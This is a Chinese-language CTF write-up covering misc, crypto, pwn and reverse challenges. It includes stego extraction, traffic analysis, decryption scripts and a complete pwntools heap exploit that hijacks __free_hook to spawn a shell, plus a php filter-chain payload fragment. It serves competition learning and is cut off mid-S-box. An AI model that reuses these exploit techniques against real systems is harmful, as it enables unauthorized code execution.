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

base64解码后即可得到下面这张图片

image-20241104164449083

赛后和别的师傅交流的过程中发现有的师傅说这里直接 foremost 也可以得到这张图片

虽然是不完整的,但是 zsteg 一下也可以得到下面的 Hint

感觉这里也算是非预期吧,出题人如果隐写的内容不放在开头,可能就要把图片完整提取出来才行了

之前睿抗也遇到过这样的情况,也算是给自己提了个醒,以后出题别把隐写的内容放在图片头部(坏笑)

zsteg一下,发现有一个Hint:Y3p_Ke9_1s_????? ``

image-20241104164521295

然后我们在回头查看那个内存镜像,尝试一下常用的文件头,看看有没有别的文件

发现存在 7z 的文件头 37 7A BC AF 27 1C ,内存镜像的末尾藏了一个7z压缩包

image-20241104164540660

因此我们手动提取出来,然后结合刚才的提示 Y3p_Ke9_1s_?????,猜测是压缩包掩码爆破

因此我们使用 ARCHPR 爆破上面提取得到的 7z 压缩包

image-20241104164557729

爆破后得到压缩包解压密码:Y3p_Ke9_1s_29343

image-20241104164614490

解压压缩包后得到 flag.txt ,内容如下:

31         226 PUSH_NULL
228 LOAD_NAME 8 (key_encode)
230 LOAD_NAME 7 (key)
232 PRECALL 1
236 CALL 1
246 STORE_NAME 7 (key)

32 248 PUSH_NULL
250 LOAD_NAME 10 (len)
252 LOAD_NAME 7 (key)
254 PRECALL 1
258 CALL 1
268 LOAD_CONST 7 (16)
270 COMPARE_OP 2 (==)
276 POP_JUMP_FORWARD_IF_FALSE 43 (to 364)

33 278 PUSH_NULL
280 LOAD_NAME 9 (sm4_encode)
282 LOAD_NAME 7 (key)
284 LOAD_NAME 5 (flag)
286 PRECALL 2
290 CALL 2
300 LOAD_METHOD 11 (hex)
322 PRECALL 0
326 CALL 0
336 STORE_NAME 12 (encrypted_data)

34 338 PUSH_NULL
340 LOAD_NAME 6 (print)
342 LOAD_NAME 12 (encrypted_data)
344 PRECALL 1
348 CALL 1
358 POP_TOP
360 LOAD_CONST 2 (None)
362 RETURN_VALUE

32 >> 364 LOAD_CONST 2 (None)
366 RETURN_VALUE

Disassembly of <code object key_encode at 0x14e048a00, file "make.py", line 10>:
10 0 RESUME 0

11 2 LOAD_GLOBAL 1 (NULL + list)
14 LOAD_FAST 0 (key)
16 PRECALL 1
20 CALL 1
30 STORE_FAST 1 (magic_key)

12 32 LOAD_GLOBAL 3 (NULL + range)
44 LOAD_CONST 1 (1)
46 LOAD_GLOBAL 5 (NULL + len)
58 LOAD_FAST 1 (magic_key)
60 PRECALL 1
64 CALL 1
74 PRECALL 2
78 CALL 2
88 GET_ITER
>> 90 FOR_ITER 105 (to 302)
92 STORE_FAST 2 (i)

13 94 LOAD_GLOBAL 7 (NULL + str)
106 LOAD_GLOBAL 9 (NULL + hex)
118 LOAD_GLOBAL 11 (NULL + int)
130 LOAD_CONST 2 ('0x')
132 LOAD_FAST 1 (magic_key)
134 LOAD_FAST 2 (i)
136 BINARY_SUBSCR
146 BINARY_OP 0 (+)
150 LOAD_CONST 3 (16)
152 PRECALL 2
156 CALL 2
166 LOAD_GLOBAL 11 (NULL + int)
178 LOAD_CONST 2 ('0x')
180 LOAD_FAST 1 (magic_key)
182 LOAD_FAST 2 (i)
184 LOAD_CONST 1 (1)
186 BINARY_OP 10 (-)
190 BINARY_SUBSCR
200 BINARY_OP 0 (+)
204 LOAD_CONST 3 (16)
206 PRECALL 2
210 CALL 2
220 BINARY_OP 12 (^)
224 PRECALL 1
228 CALL 1
238 PRECALL 1
242 CALL 1
252 LOAD_METHOD 6 (replace)
274 LOAD_CONST 2 ('0x')
276 LOAD_CONST 4 ('')
278 PRECALL 2
282 CALL 2
292 LOAD_FAST 1 (magic_key)
294 LOAD_FAST 2 (i)
296 STORE_SUBSCR
300 JUMP_BACKWARD 106 (to 90)

15 >> 302 LOAD_GLOBAL 3 (NULL + range)
314 LOAD_CONST 5 (0)
316 LOAD_GLOBAL 5 (NULL + len)
328 LOAD_FAST 0 (key)
330 PRECALL 1
334 CALL 1
344 LOAD_CONST 6 (2)
346 PRECALL 3
350 CALL 3
360 GET_ITER
>> 362 FOR_ITER 105 (to 574)
364 STORE_FAST 2 (i)

16 366 LOAD_GLOBAL 7 (NULL + str)
378 LOAD_GLOBAL 9 (NULL + hex)
390 LOAD_GLOBAL 11 (NULL + int)
402 LOAD_CONST 2 ('0x')
404 LOAD_FAST 1 (magic_key)
406 LOAD_FAST 2 (i)
408 BINARY_SUBSCR
418 BINARY_OP 0 (+)
422 LOAD_CONST 3 (16)
424 PRECALL 2
428 CALL 2
438 LOAD_GLOBAL 11 (NULL + int)
450 LOAD_CONST 2 ('0x')
452 LOAD_FAST 1 (magic_key)
454 LOAD_FAST 2 (i)
456 LOAD_CONST 1 (1)
458 BINARY_OP 0 (+)
462 BINARY_SUBSCR
472 BINARY_OP 0 (+)
476 LOAD_CONST 3 (16)
478 PRECALL 2
482 CALL 2
492 BINARY_OP 12 (^)
496 PRECALL 1
500 CALL 1
510 PRECALL 1
514 CALL 1
524 LOAD_METHOD 6 (replace)
546 LOAD_CONST 2 ('0x')
548 LOAD_CONST 4 ('')
550 PRECALL 2
554 CALL 2
564 LOAD_FAST 1 (magic_key)
566 LOAD_FAST 2 (i)
568 STORE_SUBSCR
572 JUMP_BACKWARD 106 (to 362)

18 >> 574 LOAD_CONST 4 ('')
576 LOAD_METHOD 7 (join)
598 LOAD_FAST 1 (magic_key)
600 PRECALL 1
604 CALL 1
614 STORE_FAST 1 (magic_key)

19 616 LOAD_GLOBAL 17 (NULL + print)
628 LOAD_FAST 1 (magic_key)
630 PRECALL 1
634 CALL 1
644 POP_TOP

20 646 LOAD_GLOBAL 7 (NULL + str)
658 LOAD_GLOBAL 9 (NULL + hex)
670 LOAD_GLOBAL 11 (NULL + int)
682 LOAD_CONST 2 ('0x')
684 LOAD_FAST 1 (magic_key)
686 BINARY_OP 0 (+)
690 LOAD_CONST 3 (16)
692 PRECALL 2
696 CALL 2
706 LOAD_GLOBAL 11 (NULL + int)
718 LOAD_CONST 2 ('0x')
720 LOAD_FAST 0 (key)
722 BINARY_OP 0 (+)
726 LOAD_CONST 3 (16)
728 PRECALL 2
732 CALL 2
742 BINARY_OP 12 (^)
746 PRECALL 1
750 CALL 1
760 PRECALL 1
764 CALL 1
774 LOAD_METHOD 6 (replace)
796 LOAD_CONST 2 ('0x')
798 LOAD_CONST 4 ('')
800 PRECALL 2
804 CALL 2
814 STORE_FAST 3 (wdb_key)

21 816 LOAD_GLOBAL 17 (NULL + print)
828 LOAD_FAST 3 (wdb_key)
830 PRECALL 1
834 CALL 1
844 POP_TOP

22 846 LOAD_FAST 3 (wdb_key)
848 RETURN_VALUE

magic_key:7a107ecf29325423
encrypted_data:f2c85bd042247896b43345e589e3ad025fba1770e4ac0d274c1f7c2a670830379195aa5547d78bcee7ae649bc3b914da

得到SM4的密钥为:ada1e9136bb16171

最后CyberChef解一个SM4即可得到flag:wdflag{815ad4647b0b181b994eb4b731efa8a0}

image-20241104164658557

MISC03

打开pcap文件

上传一般是post uploads,查找到几个,有个 hacker.php

image-20241104162237268

Image

第一个IP就是

Image

wdflag{39.168.5.60}

MISC04

像素偏移

是2024IrisCTF的参考https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本。

之前在某个群里好像有看到过类似的,感觉是希尔伯特-皮亚诺曲线

根据参考链接中的脚本复原一下图片

from PIL import Image            
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open("./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")

image-20241104164800022

image-20241104164809903

复原后可以得到一个二维码,彩色的可能不好识别,分离一下通道,扫码即可得到flag:

wdflag{4940e8dc-5542-4eee-9243-202ae675d77f}

最后,有兴趣的师傅也可以尝试复原一下下面这张图片(感觉比上面的简单)

但是感觉可以帮助大家理解原理

image-20241104164830929

二、白虎组Misc

misc01

1、分析流量包

下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的teid按时间先后顺序进行拼接”

wireshark打开 搜索字符串 teid

Image

发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,

然后导入表格种进行分析

2、导出teid数据

使用 tshark.exe 批量提取数据包的 teid 值

tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv

Image

3、分析表格数据

直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个

image-20241104171645410

Image

查看 teid 值,发现有两行数据存在两条异常数据,初步判

断应该是这两行数据,16进制进制转换然后进行拼接

Image

拼接提交

wdflag{2235649299000124}

misc02

附件提供流量包和加密算法脚本

分析流量和脚本

可以借助大模型快速分析脚本

加密脚本分析

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def encrypt(key, plaintext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padded_plaintext = pad(plaintext).encode()
encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()
return encrypted

if __name__ == "__main__":
key = 1
msg = "123"
print(encrypt(key,msg))

文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。

AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。

分析流量包

Image

查看数据流

Image

分析密钥为:475070864,待解密消息为:4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1

可以运用脚本进行计算

解密脚本

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def decrypt(key, ciphertext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
return decrypted.decode()

# Given key and ciphertext
key = 475070864
ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')

# Decrypt the ciphertext
decrypted_message = decrypt(key, ciphertext)
decrypted_message

得出结果

Image

misc03

侧信道攻击,参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php

接着用tshark工具将流量包中的value和对应状态码提取,在python中转成字典格式,替换原脚本的网页请求

并修改原脚本两处地方

blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),

可以直接跑出flag

Image

Image

Image

misc04

不管他是什么,先拖入随波逐流]CTF编码工具

Image

有包含[随波逐流]CTF编码工具--文件---binwalk提取

Image

Image

2.png

Image

拖入[随波逐流]CTF编码工具:[随波逐流]CTF编码工具---图片---左右反转

Image

得到一半flag,再2个个压缩包里面都是2.png,只有文件夹中压缩包是11.png

Image

要密码,前面有个提示

comment: "!@#QQQ0010flag"

明显是要爆破

自己写一个字典

passlist=[]
for i in range(1000,10000):
passlist.append('!@#QQQ0010flag'+str(i))

with open(r'f:\temp\password.txt','w') as f:
for pas in passlist:
f.write(pas+'\n')

11.zip 拖入[随波逐流]CTF编码工具–密文区

password.txt拖入[随波逐流]CTF编码工具—-密钥区

[随波逐流]CTF编码工具--文件---zip密码字典爆破

Image

密码:!@#QQQ0010flag8456

Image

拖入[随波逐流]CTF编码工具

Image

又有包含

[随波逐流]CTF编码工具---文件---foremost提取

Image

Image

Image

很明显修改了宽高

居然没有能自动修改宽高,那只可能是CRC也被修改了

Image

计算实际的宽高

import struct
import zlib
import os

def calculate_crc(data, crc=None):
if crc is None:
crc = 0xffffffff
return zlib.crc32(data) & 0xffffffff

def brute_force_width_height(file_path, known_crc):
with open(file_path, 'rb') as f:
# 检查 PNG 文件头
signature = f.read(8)
if signature != b'\x89PNG\r\n\x1a\n':
print("这不是一个有效的 PNG 文件")
return None, None

# 读取 IHDR 块
chunk_length = struct.unpack('>I', f.read(4))[0]
if chunk_length != 13 or f.read(4) != b'IHDR':
print("IHDR 块不正确")
return None, None

# 读取宽度和高度
width, height = struct.unpack('>2I', f.read(8))

# 尝试不同的宽度和高度值,计算 CRC
for w in range(1, width + 1):
for h in range(1, height + 1):
# 构建 IHDR 块数据
ihdr_data = struct.pack('>2I5B', w, h, 8, 6, 0, 0, 0)
# 计算 CRC
crc = calculate_crc(b'IHDR' + ihdr_data)
if crc == known_crc:
print("找到匹配的宽高: 宽度 = %d, 高度 = %d" % (w, h))
return w, h

return None, None

# 使用示例
file_path = r'f:/temp/15.png' # 替换为你的 PNG 文件路径
known_crc = 0xd370e9a1 # 替换为你已知的 CRC 值
width, height = brute_force_width_height(file_path, known_crc)
if width and height:
print("实际宽度: %d, 实际高度: %d" % (width, height))

实际宽度: 620, 实际高度: 92

或者用 puzzlesolver 爆破宽高

得到一张png,拖到工具直接改宽高。

Image

[随波逐流]CTF编码工具--文件---2进制转16进制

Image

Image

将0320 012C改成026C 005C

Image

右键:导出为hex文件00000254-2.png

Image

Image

Image

wdflag{5fgh576eee739dh7u904bea4860s4eg5}

Crypto

CRYPTO01

解题思路

两个函数,P(x) = P * x,S(x) = A*x +b,

令 ,T = P^{-1}AP, U = P^{-1}b

则r = T{14}x+(T{13}+T{12}+...+I)U+(T{13}+T^{12}+...+I) P^{-1}k

因为flag头“wdflag{”7个字符,所以再爆破1个解上述方程,可得到列表keys,遍历keys后得到flag。

from Crypto.Util.number import * 

cipher_text = []
perm_indices = []
BLOCK_SIZE = 64
ROUNDS = 14

# Inverse permutation list
inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)]

# Constants for the mask and IV
MASK = 0b1110001001111001000110010000100010101111101100101110100001001001
IV = 7

# Helper functions
binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))]))

# Create the permutation matrix
P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i, perm_index in enumerate(perm_indices):
P_matrix[i, perm_index] = 1

# Permutation function
def permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Inverse permutation function
def inverse_permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix.inverse() * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Define matrix A and vector b based on IV and MASK
A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i in range(BLOCK_SIZE):
A_matrix[i, i] = 1
for i in range(BLOCK_SIZE):
j = i - IV
if j >= 0:
A_matrix[i, j] = 1

b_vector = vector(GF(2), BLOCK_SIZE)
for i in range(BLOCK_SIZE):
if (MASK >> i) & 1:
b_vector[i] = 1

# Substitution function
def substitute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = vector(GF(2), bit_x)
result = A_matrix * bit_x + b_vector
return binary_to_integer(vector(ZZ, result))

# Define matrix transformations for decryption
T_matrix = P_matrix.inverse() * A_matrix * P_matrix
U_vector = P_matrix.inverse() * b_vector
sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS))

# Key recovery
recovered_keys = []
for i in range(1, 32):
cipher_bits = cipher_text[-1].bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)

message_bytes = bytes([i]) * 8
message_bits = Integer(bytes_to_long(message_bytes)).bits()
while len(message_bits) != BLOCK_SIZE:
message_bits += [0]
message_bits = vector(GF(2), message_bits)

cipher_bits -= T_matrix**ROUNDS * message_bits
cipher_bits -= sum_T_matrix * U_vector
try:
P_inverse_key = sum_T_matrix.solve_right(cipher_bits)
key = P_matrix * P_inverse_key
recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))])
recovered_keys.append(recovered_key)
except:
pass

# Decryption function
def decrypt_block(cipher_block, key):
cipher_bits = cipher_block.bits()
key_bits = key.bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
while len(key_bits) != BLOCK_SIZE:
key_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
key_bits = vector(GF(2), key_bits)

cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits
cipher_bits -= sum_T_matrix * U_vector
decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits
message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits)))
return message_bytes

# Attempt decryption with each recovered key
for key in recovered_keys:
decrypted_message = [decrypt_block(c, key) for c in cipher_text]
flag = b"".join(decrypted_message)
print(flag)

CRYPTO02

https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/

根据文章套板子直接打

Exp:

import libnum
from Crypto.Util.number import *
e = 65537
n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
with open("cipher.txt", "rb") as f:
c = f.read()
c = libnum.s2n(c)
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
def pollard_rho (x1,x2):
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p == n):
print("fail")
return
elif (p != 1):
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
break
pollard_rho(1, 1)

Pwn

pwn01

Edit存在任意地址写\x00,可以利用堆块错位申请打free_hook为system,free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为\x00触发漏洞,攻击free_hook获取shell

Add show, free,edit三个功能函数,实际上edit只能用一次任意地址写

利用指针残留获得heap_base,libc_base

Edit攻击目标地址-3,完成\x00修改fd位

之后触发tcachebin的整理机制完成tcachebin attack的操作

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def add(size,content):
rl("Input your choice")
sl(str(1))
rl("Size :")
sl(str(size))
rl("Content :")
s(content)
def free(i):
rl("Input your choice")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("Input your choice")
sl(str(4))
rl("Index :")
sl(str(i))
def edit(content):
rl("Input your choice")
sl(str(3))
rl("content :")
s(content)

add(0x98,b'a')
add(0x98,b'a')
add(0x98,b'a') #2
add(0x410,b'a')
add(0x98,b'a') #4

free(3)
add(0x410,b'a'*8) #5
show(5)
libc_base=get_addr()-2018272
li(hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
free(5)

add(0x600,b'a') #6
add(0x410,b'a'*0x10) #7
show(7)
rl("a"*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x470
li(hex(heap_base))

add(0x140,b'/bin/sh\x00') #8
add(0x98,b'a') #9
add(0xa8,b'a') #10
add(0x98,b'a') #11
add(0xa8,b'a') #12

free(11)
free(0)
free(12)
free(10)
edit(p64(heap_base+0x290+8+5))
add(0x98,b'a')
add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook))
add(0xa8,b'a')
add(0xa8,p64(system))

free(8)
p.sendline(b"cat flag")
#print(p.recvline())

inter()

Reverse

re01

打开so文件,发现JNI_Onload 无法正确F5

0x00000000001B4E0附近发现了间接跳转, 实际BR X8是跳转到下一条指令,所以这是花指令,直接NOP掉即可。

Image

除开这种指令以外,还发现了这种间接跳转,这也是花指令,需要NOP掉

Image

将上述字节全部替换完后,逆向发现

Image

init_array中hook了JNI_OnLoad,以及Hook了RegisterNative方法,使真正的native函数为sub_1A9A8

Image

Image

Image

Image

Image

Image

这个函数进行了魔改的AES操作,修改了Sbox。

然后将MixColumnShiftRows 交换了顺序

# print(key)
sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
